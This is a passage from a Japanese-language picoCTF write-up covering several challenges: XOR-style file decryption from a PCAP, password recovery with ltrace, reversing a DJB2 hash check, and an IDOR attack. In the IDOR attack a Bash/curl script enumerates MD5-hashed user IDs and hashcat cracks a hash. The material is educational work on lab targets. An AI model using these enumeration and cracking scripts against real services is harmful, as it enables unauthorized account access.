print("Transfer complete")
if __name__ == "__main__":
simulate_flag_transfer("flag.txt")
encode_byte関数より、暗号化の式は(平文 + 42) % 256と判明。
フラグ復号のために以下のPythonスクリプトを書いた。
def encode_byte(b, key):
return (b + key) % 256
with open("encrypted_file.bin", "rb") as f:
enc_payload = f.read()
file_size = len(enc_payload)
dec_payload = bytearray(file_size)
cnt = 0
raw_byte = 0
i = 0
while(cnt < file_size):
data = encode_byte(raw_byte, 42)
if (enc_payload[i] == data):
print('raw byte is: ' + str(raw_byte))
dec_payload[i] = raw_byte
i += 1
cnt += 1
raw_byte = 0
else:
raw_byte += 1
with open("decrypted_file.bin", "wb") as d:
d.write(dec_payload)
上記のスクリプトはデータを0から総当たりでencode_byte関数で暗号化する (鍵は42)。暗号化後の値がPCAPから抽出したペイロード (encrypted_file.bin) の値と一致すれば、暗号化前の値を平文の値として控えておき、最終的にdecrypted_file.binに書き込む。
以下はスクリプトの実行結果。
└─$ python3 solver.py
raw byte is: 255
raw byte is: 216
raw byte is: 255
raw byte is: 224
raw byte is: 0
raw byte is: 16
raw byte is: 74
--- snipped ---
raw byte is: 80
raw byte is: 7
raw byte is: 255
raw byte is: 217
└─$ ls -lh
total 52K
-rw-rw-r-- 1 kali kali 9.0K May 30 09:40 decrypted_file.bin
-rw-rw-r-- 1 kali kali 9.0K May 30 08:53 encrypted_file.bin
-rw-rw-r-- 1 kali kali 484 May 30 08:48 encrypt.py
-rw-rw-r-- 1 kali kali 19K May 30 08:48 packets.pcap
-rwxrwxr-x 1 kali kali 547 May 30 09:39 solver.py
└─$ file decrypted_file.bin
decrypted_file.bin: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 800x500, components 3
JPEGの画像ファイルが抽出され、このファイルの中にフラグが記載されていた。

Bypass Me
遠隔のサーバーで実行されているプログラムを解析してフラグを取得する問題。
サーバーにSSHで接続してbypassme.binというバイナリを実行しろと言われたので、その通りにしてみた。
ctf-player@pico-chall$ ./bypassme.bin
███████╗███████╗ ██████╗██╗ ██╗██████╗ ███████╗ ██████╗ ██████╗ ██████╗ ████████╗ █████╗ ██╗
██╔════╝██╔════╝██╔════╝██║ ██║██╔══██╗██╔════╝ ██╔══██╗██╔═══██╗██╔══██╗╚══██╔══╝██╔══██╗██║
███████╗█████╗ ██║ ██║ ██║██████╔╝█████╗ ██████╔╝██║ ██║██████╔╝ ██║ ███████║██║
╚════██║██╔══╝ ██║ ██║ ██║██╔══██╗██╔══╝ ██╔═══╝ ██║ ██║██╔══██╗ ██║ ██╔══██║██║
███████║███████╗╚██████╗╚██████╔╝██║ ██║███████╗ ██║ ╚██████╔╝██║ ██║ ██║ ██║ ██║███████╗
╚══════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝
Initializing secure modules...
Running memory diagnostics...
All systems online...
Access to this terminal is restricted.
Please authenticate below.
----------------------------------------
[3 tries left] Enter password: hoge
Raw Input: [hoge]
Sanitized Input:[hoge]
Hint: Input must match something special...
Access Denied
[2 tries left] Enter password: $
Raw Input: [$]
Sanitized Input:[]
Hint: Input must match something special...
Access Denied
[1 tries left] Enter password: ^C
ctf-player@pico-chall$ exit
パスワードを入力するように言われた。恐らく正しいパスワードを入力すればフラグを取れると思われる。
scpでbypassme.binをローカルマシンにダウンロードして解析することにした。
└─$ scp -P 52657 -r ctf-player@foggy-cliff.picoctf.net:/home/ctf-player /home/kali/picoctf/bypassme
ctf-player@foggy-cliff.picoctf.net's password:
.bash_history 100% 46 0.1KB/s 00:00
.profile 100% 67 0.2KB/s 00:00
bypassme.bin
手始めにltraceでデバッグしたところ、あっさりとパスワードが判明。入力値とSuperSecureという文字列をstrcmpで比較していた。
└─$ ltrace ./bypassme.bin
puts("\n\n"
) = 3
printf("\033[1;35m")
--- snipped ---
printf("\n[%d tries left] Enter password:"..., 3
) = 32
fflush(0x7f1fe8f405c0[3 tries left] Enter password: ) = 0
fgets(hoge
"hoge\n", 128, 0x7f1fe8f3f8e0) = 0x7ffc230f7a90
strcspn("hoge\n", "\n") = 4
isalpha(104, 0x7ffc230f7b10, 0, 4) = 1024
isalpha(111, 0x7ffc230f7b10, 1, 0x7ffc230f7a90) = 1024
isalpha(103, 0x7ffc230f7b10, 2, 0x7ffc230f7a91) = 1024
isalpha(101, 0x7ffc230f7b10, 3, 0x7ffc230f7a92) = 1024
printf("\nRaw Input: [%s]\n", "hoge"
Raw Input: [hoge]
) = 24
printf("Sanitized Input:[%s]\n", "hoge"Sanitized Input:[hoge]
) = 23
puts("Hint: Input must match something"...Hint: Input must match something special...
) = 44
strcmp("hoge", "SuperSecure") = 21
puts("Access Denied "Access Denied
再度、サーバーにSSHで接続してbypassme.binを実行し、SuperSecureと入力したところ、フラグを取れた。
ctf-player@pico-chall$ ./bypassme.bin
███████╗███████╗ ██████╗██╗ ██╗██████╗ ███████╗ ██████╗ ██████╗ ██████╗ ████████╗ █████╗ ██╗
██╔════╝██╔════╝██╔════╝██║ ██║██╔══██╗██╔════╝ ██╔══██╗██╔═══██╗██╔══██╗╚══██╔══╝██╔══██╗██║
███████╗█████╗ ██║ ██║ ██║██████╔╝█████╗ ██████╔╝██║ ██║██████╔╝ ██║ ███████║██║
╚════██║██╔══╝ ██║ ██║ ██║██╔══██╗██╔══╝ ██╔═══╝ ██║ ██║██╔══██╗ ██║ ██╔══██║██║
███████║███████╗╚██████╗╚██████╔╝██║ ██║███████╗ ██║ ╚██████╔╝██║ ██║ ██║ ██║ ██║███████╗
╚══════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝
Initializing secure modules...
Running memory diagnostics...
All systems online...
Access to this terminal is restricted.
Please authenticate below.
----------------------------------------
[3 tries left] Enter password: SuperSecure
Raw Input: [SuperSecure]
Sanitized Input:[SuperSecure]
Hint: Input must match something special...
Authenticating...
🎉 Flag: picoCTF{d3bugg3r_p0w3r_is_4w3s0m3_<REDACTED>}
Secure Password Database
ELFファイルを解析してフラグを取得する問題。
system.outという64ビットのELFファイルを渡された。
└─$ file system.out
system.out: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=63224e5a94fa31cb071c82105d8a70ffc806ac0b, for GNU/Linux 3.2.0, not stripped
以下は実行結果。
└─$ ./system.out
Please set a password for your account:
hoge
How many bytes in length is your password?
4
You entered: 4
Your successfully stored password:
104 111 103 101 10
Enter your hash to access your account!
104 111 103 101 10
どうやらフラグを取るには特定のハッシュ値を入力しなければならない模様。
ファイルをIDAで眺めたところ、make_secretという怪しげな関数を発見。

ざっと見たところ、
0xc3ffc8c2929b8bc080c2c48bと0xaaのXORを取る- XORされた値を
hashという関数に渡す
0xc3ffc8c2929b8bc080c2c48bと0xaaをXORすると、iUbh81!j*hn!という文字列になる。

iUbh81!j*hn!をhash関数に渡して、求められたハッシュ値がフラグを取るための鍵なのだろう。
hash関数を眺めてみた。

アセンブリだといまいち処理が分からなかったので、ファイルをGhidraで開いて、該当の箇所のデコンパイルコードを見てみた。
long hash(byte *param_1)
{
byte *local_20;
long local_10;
local_10 = 0x1505;
local_20 = param_1;
while( true ) {
if (*local_20 == 0) break;
local_10 = (long)(int)(uint)*local_20 + local_10 * 0x21;
local_20 = local_20 + 1;
}
return local_10;
}
hash 0x1505 0x21でググってみたところ、上記はDJB2ハッシュのアルゴリズムであるらしいことが分かった。
最初は自力で上記のアルゴリズムをPythonコードに落とし込もうとしたのだが、上手く行かなったので、Geminiの力を借りた。以下はGeminiが考えたDJB2ハッシュアルゴリズムのPythonコードである。
def hash_djb2_64bit(param_1: bytes) -> int:
local_10 = 0x1505
MASK_64 = 0xFFFFFFFFFFFFFFFF # Limits the integer to 64-bits
for byte_val in param_1:
if byte_val == 0:
break
# Apply the math and force it to wrap around like a C long
local_10 = (byte_val + (local_10 * 0x21)) & MASK_64
return local_10
上記のコードを実行したところ、iUbh81!j*hn!のDJB2ハッシュ値は15237662580160011234と判明。
>>> hash_djb2_64bit(b'iUbh81!j*hn!')
15237662580160011234
サーバーに接続して、上記のハッシュ値を入力したところ、フラグを取れた。(ちなみにハッシュ値さえ正しければ、最初の2つの入力値は何でもよい)
└─$ nc candy-mountain.picoctf.net 65031
Please set a password for your account:
iUbh81!j*hn!
How many bytes in length is your password?
12
You entered: 12
Your successfully stored password:
105 85 98 104 56 49 33 106 42 104 110 33 10
Enter your hash to access your account!
15237662580160011234
picoCTF{d0nt_trust_<REDACTED>}
Hashgate
Webサイトを解析してフラグを取得する問題。
Webサイトにアクセスすると、以下のログインページが現れた。

ソースコードを表示すると、コメントにログイン用のゲストアカウントの情報がハードコードされていた。
<!-- Email: guest@picoctf.org Password: guest -->
上記のクレデンシャルを使ってログインすると、/profile/user/e93028bdc1aacdfb3687181f2031765dというページにリダイレクトされた。

メッセージによると、ゲストアカウント (ID: 3000) は権限がないためフラグにアクセスできない模様。
URLのe93028bdc1aacdfb3687181f2031765dがMD5ハッシュ値っぽいのでクラックしてみたところ、3000という文字列のハッシュ値と判明。
hashcat -m 0 e93028bdc1aacdfb3687181f2031765d /usr/share/wordlists/rockyou.txt
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: e93028bdc1aacdfb3687181f2031765d
Time.Started.....: Tue Jun 2 08:53:28 2026 (2 secs)
Time.Estimated...: Tue Jun 2 08:53:30 2026 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1323.6 kH/s (0.19ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 2293760/14344385 (15.99%)
Rejected.........: 0/2293760 (0.00%)
Restore.Point....: 2291712/14344385 (15.98%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 3019045 -> 2kooldude
Hardware.Mon.#1..: Util: 69%
Started: Tue Jun 2 08:53:26 2026
Stopped: Tue Jun 2 08:53:32 2026
3000というのはゲストアカウントのIDである。どうやら/profile/user/に続くハッシュ値は、ユーザーIDのMD5ハッシュ値の模様。
ということは、IDとなる数値を片っ端からMD5ハッシュ化すれば、高権限ユーザーのIDに辿りつけそう。
以下の総当たりのBashスクリプトを書いた。
port=60798
num=3000
while true
do
hash=$(echo -n $num | md5sum | awk '{print $1}')
echo "$num"
echo "testing $hash ..."
result=$(curl -s "http://crystal-peak.picoctf.net:$port/profile/user/$hash" | grep "picoCTF{")
if [ $? -ne 0 ]; then
num=$(($num + 1))
else
echo $result
break
fi
done
以下はスクリプトの実行結果。
└─$ ./solver02.sh
3000
testing e93028bdc1aacdfb3687181f2031765d ...
3001
testing 908c9a564a86426585b29f5335b619bc ...
3002
testing d806ca13ca3449af72a1ea5aedbed26a ...
3003
testing a4380923dd651c195b1631af7c829187 ...
3004
testing 20479c788fb27378c2c99eadcf207e7f ...
3005
testing 3a61ed715ee66c48bacf237fa7bb5289 ...
3006
testing 5f268dfb0fbef44de0f668a022707b86 ...
3007
testing a724b9124acc7b5058ed75a31a9c2919 ...
3008
testing c02f9de3c2f3040751818aacc7f60b74 ...
3009
testing ee16fa83c0f151ef85e617f5aa3867a6 ...
3010
testing 22722a343513ed45f14905eb07621686 ...
3011
testing b1f62fa99de9f27a048344d55c5ef7a6 ...
3012
testing 5a01f0597ac4bdf35c24846734ee9a76 ...
Welcome, admin! Here is the flag: picoCTF{id0r_unl0ck_<REDACTED>}
フラグにアクセス可能なユーザーIDは3012 (MD5: 5a01f0597ac4bdf35c24846734ee9a76) だった。
よって、/profile/user/5a01f0597ac4bdf35c24846734ee9a76にアクセスすればフラグを取れる。